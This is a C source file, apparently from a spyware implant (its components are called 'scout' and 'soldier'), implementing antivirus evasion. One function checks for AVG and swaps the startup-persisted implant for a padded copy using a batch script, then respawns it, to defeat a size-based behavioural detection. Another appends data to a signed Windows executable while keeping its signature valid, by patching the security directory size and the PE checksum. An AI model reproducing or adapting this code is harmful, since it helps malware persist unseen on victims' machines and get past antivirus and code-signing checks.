/* methods required for specific invisibility issues */ #include #include #include "invisibility.h" #include "device.h" #include "utils.h" #include "zmem.h" VOID AvgInvisibility() { /* Solves Avg General Behavior detection by increasing executable size in startup. executable not run from startup is not affected by this detection: - a] current process is not running from startup -> don't do anything at the moment. soldier is expected to be running from startup only - b] current process is the scout running from startup -> drop a garbage file in %temp%, the a batch that waits for current process to bail and then appends the garbage to scout executable in startup and spawns a 'fat' scout process */ LPWSTR strDestPath = GetStartupScoutName(); LPWSTR strSourcePath = GetMySelfName(); LPWSTR strStartupPath = GetStartupPath(); /* make avg scout fat */ WCHAR szAvg[] = { L'A', L'V', L'G', 0x0 }; PWCHAR pApplicationList = NULL; pApplicationList = GetAppList(); if (StrStrI(pApplicationList, szAvg)) { HANDLE hScout = CreateFile(strDestPath, GENERIC_READ, FILE_SHARE_READ , NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hScout == INVALID_HANDLE_VALUE) { #ifdef _DEBUG OutputDebugString(L"Failed opening scout"); OutputDebugString(strDestPath); OutputDebugString(L"\n"); #endif } else { #ifdef _DEBUG OutputDebugString(L"Read handle opened "); OutputDebugString(strDestPath); OutputDebugString(L"\n"); #endif /*LARGE_INTEGER lM; lM.QuadPart = 1048576 + 10; LONGLONG lPadding = 0; LARGE_INTEGER lFileSize; GetFileSizeEx(hScout, &lFileSize); lPadding = lM.QuadPart - lFileSize.QuadPart;*/ DWORD dwM = (1048576*4) + 10; DWORD dwPadding= 0; DWORD dwFileSize = GetFileSize(hScout, NULL); dwPadding = dwM - dwFileSize; /* padding must an 8 byte multiple */ while( dwPadding % 8 != 0 ) dwPadding += 1; if( dwPadding > 0 ) { /* a] not running from startup, just expand scout file on startup */ if( !AmIFromStartup() ) { /* don't do anything at the moment, since soldier is expected to be running from startup only */ } else /* b] if soldier is running from startup and is not big enough (lPadding > 0) create an expanded kosher copy in temp and replace the one in startup with a batch script */ { LPBYTE lpGarbagePadding = GetRandomData(dwPadding); LPBYTE lpFatExecutableBuffer = AppendDataInSignedExecutable(hScout, lpGarbagePadding, dwPadding, &dwFileSize); zfree(lpGarbagePadding); if( lpFatExecutableBuffer != NULL ) { /* read only handle was needed by AppendDataInSignedExecutable */ CloseHandle(hScout); LPWSTR lpTempFile = CreateTempFile(); HANDLE hFatScout = CreateFile(lpTempFile, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if( hFatScout != INVALID_HANDLE_VALUE ) { DWORD dwBytesWritten = 0; BOOL bGarbageFileWritten = WriteFile(hFatScout, lpFatExecutableBuffer, dwFileSize, &dwBytesWritten, NULL); CloseHandle(hFatScout); #ifdef _DEBUG if(bGarbageFileWritten && dwBytesWritten == dwFileSize) OutputDebugString(L"Fat scout file written\n"); else OutputDebugString(L"Issues writing fat scout file\n"); #endif /* Batch file increases scout size, then respawns a fat scout process */ PWCHAR pBatchName; CreateFileReplacerBatch(lpTempFile, strDestPath, &pBatchName); StartBatch(pBatchName); ExitProcess(0); } } // if( lpFatExecutableBuffer != NULL ) } // else } //if( dwPadding > 0 ) }//else } #ifdef _DEBUG else { OutputDebugString(L"No avg here"); } #endif /* free resources */ zfree(pApplicationList); zfree(strDestPath); zfree(strSourcePath); zfree(strStartupPath); } /* Append data to a signed executable without invalidating its signature. N.B. pad data must be 8 byte aligned RETURNS a pointer to a buffer containing a fat signed executable, NULL otherwise */ LPBYTE AppendDataInSignedExecutable(LPWSTR lpTargetExecutable, LPBYTE lpPadData, DWORD dwPadDataSize, PDWORD dwFatExecutableSize) { *dwFatExecutableSize = 0; /* read target executable content */ HANDLE hExecutable = CreateFile(lpTargetExecutable, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if( hExecutable == INVALID_HANDLE_VALUE ) return NULL; LPBYTE lpBuffer = AppendDataInSignedExecutable(hExecutable, lpPadData, dwPadDataSize, dwFatExecutableSize); CloseHandle(hExecutable); return lpBuffer; } LPBYTE AppendDataInSignedExecutable(HANDLE hExecutable, LPBYTE lpPadData, DWORD dwPadDataSize, PDWORD dwFatExecutableSize) { DWORD dwExecutableSize = 0; dwExecutableSize = GetFileSize(hExecutable, NULL); LPBYTE lpExecutableBuffer = (LPBYTE) zalloc(dwExecutableSize); DWORD dwBytesRead = 0; if( !ReadFile(hExecutable, lpExecutableBuffer, dwExecutableSize, &dwBytesRead, NULL) ) { #ifdef _DEBUG OutputDebugString(L"Can't read file"); #endif return NULL; } /* optional_header -> data_directory -> image_directory_entry_security */ PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER) lpExecutableBuffer; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS) (lpExecutableBuffer + pDosHeader->e_lfanew); DWORD dwSecurityDirectoryRva = 0; DWORD dwSecurityDirectorySize = 0; dwSecurityDirectoryRva = (DWORD)(pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress); dwSecurityDirectorySize = (DWORD)(pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size); /* if file is not signed return */ if( dwSecurityDirectoryRva == 0 ) { #ifdef _DEBUG OutputDebugString(L"No signature"); #endif return NULL; } /* pad data must be a 8 byte multiple */ if( dwPadDataSize % 8 != 0 ) { #ifdef _DEBUG OutputDebugString(L"No pad"); #endif return NULL; } /* create a buffer to host the new executable */ LPBYTE lpFatExecutableBuffer = (LPBYTE) zalloc(dwExecutableSize + dwPadDataSize); /* fat executable creation: 1] old executable + pad 2] update security entry size 3] update pe checksum */ /* 1] old executable + pad */ memcpy(lpFatExecutableBuffer, lpExecutableBuffer, dwExecutableSize); memcpy(lpFatExecutableBuffer + dwExecutableSize, lpPadData, dwPadDataSize); /* 2] update security entry size */ pNtHeaders = (PIMAGE_NT_HEADERS) (lpFatExecutableBuffer + pDosHeader->e_lfanew); LPDWORD lpSecuritySize = &(pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size); *lpSecuritySize = dwSecurityDirectorySize + dwPadDataSize; /* 3] update pe checksum */ LPDWORD lpFatChecksum = &(pNtHeaders->OptionalHeader.CheckSum); DWORD dwNewFatChecksum = ComputePEChecksum(lpFatExecutableBuffer, dwExecutableSize + dwPadDataSize); if( dwNewFatChecksum == -1 ) { #ifdef _DEBUG OutputDebugString(L"Fail checksum"); #endif return NULL; } *lpFatChecksum = dwNewFatChecksum; /* cleanup */ zfree(lpExecutableBuffer); *dwFatExecutableSize = dwExecutableSize + dwPadDataSize; return lpFatExecutableBuffer; } DWORD ComputePEChecksum(LPBYTE lpMz, DWORD dwBufferSize) { HMODULE hImageHlp = LoadLibrary(L"Imagehlp.dll"); if( hImageHlp == NULL ) return -1; CHECKSUMMAPPEDFILE fpCheckSumMappedFile = (CHECKSUMMAPPEDFILE) GetProcAddress(hImageHlp, "CheckSumMappedFile"); if( fpCheckSumMappedFile == NULL ) { FreeLibrary(hImageHlp); return -1; } DWORD dwOriginalChecksum = 0; DWORD dwComputedChecksum = 0; fpCheckSumMappedFile(lpMz,dwBufferSize, &dwOriginalChecksum, &dwComputedChecksum); FreeLibrary(hImageHlp); return dwComputedChecksum; } .